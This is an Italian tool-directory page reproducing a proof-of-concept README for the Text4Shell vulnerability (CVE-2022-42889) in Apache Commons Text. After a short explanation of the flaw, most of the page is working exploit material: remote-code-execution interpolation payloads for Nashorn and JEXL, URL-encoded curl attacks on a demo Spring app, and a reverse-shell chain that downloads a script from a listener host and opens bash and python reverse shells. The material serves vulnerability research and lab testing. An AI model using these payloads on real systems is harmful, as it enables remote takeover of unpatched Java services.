Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 alias Text4Shell ricerca e PoC | Kitploit
Strumenti/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 alias Text4Shell ricerca e PoC

Vedi Repository
20313 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-42889 alias text4shell

PoC per la vulnerabilità scoperta di recente in Apache Commons Text di @pwntester:

La vulnerabilità risiede nell'oggetto interpolatore StringSubstitutor. Un interpolatore viene creato dal metodo StringSubstitutor.createInterpolator() e consente ricerche di stringhe come definite in StringLookupFactory. Ciò può essere utilizzato passando una stringa “${prefix:name}” dove il prefisso è la suddetta ricerca. L'uso delle ricerche “script”, “dns” o “url” permetterebbe a una stringa appositamente creata di eseguire script arbitrari quando passata all'oggetto interpolatore.

Versioni interessate

Le versioni interessate di Apache Commons Text sono dalla 1.5 alla 1.9. È stato corretto nella versione 1.10.

Condizioni per lo sfruttamento

  • Eseguire una versione di Apache Commons Text dalla versione 1.5 alla 1.9
  • Utilizzare la classe interpolatore StringSubstitutor

Per essere sfruttata da remoto, un input controllato dall'attaccante deve essere utilizzato come input per l'interpolazione di StringSubstitutor. In particolare, nei metodi StringSubstitutor.replace() o StringSubstitutor.replaceIn()

Altri motori di script JavaScript

A partire da JDK 15 il motore JavaScript Nashorn è stato rimosso: https://openjdk.org/jeps/372. Ma se sono incluse dipendenze di terze parti come JEXL, potrebbe verificarsi RCE in Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)

Sfruttamento

interpolatore script

Può essere sfruttato per ottenere RCE.

JDK < 15

Motore Nashorn:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

Se si utilizza JEXL di terze parti:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

interpolatore dns

Può portare a una ricerca DNS:

root@kitploit:~
${dns:address|commons.apache.org}

interpolatore url

Si connette all'URL specificato e tenta di recuperare il contenuto:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Compilazione manuale del PoC

Template basato su https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Esecuzione dell'app in Docker

Utilizzo di JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Utilizzo di JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

POC forniti

Sono forniti diversi endpoint per testare i diversi vettori di attacco menzionati.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Utilizzando Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

Utilizzando JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

Ottenere una reverse shell

Per semplicità sto usando l'interfaccia Docker predefinita per l'ascolto netcat. Curiosando, ho trovato questi payload con reverse shell bash e python che funzionano bene:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Dove rev.sh viene servito con questi possibili contenuti:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

Riferimenti

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Crediti ad altri PoC

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Scarica lo strumento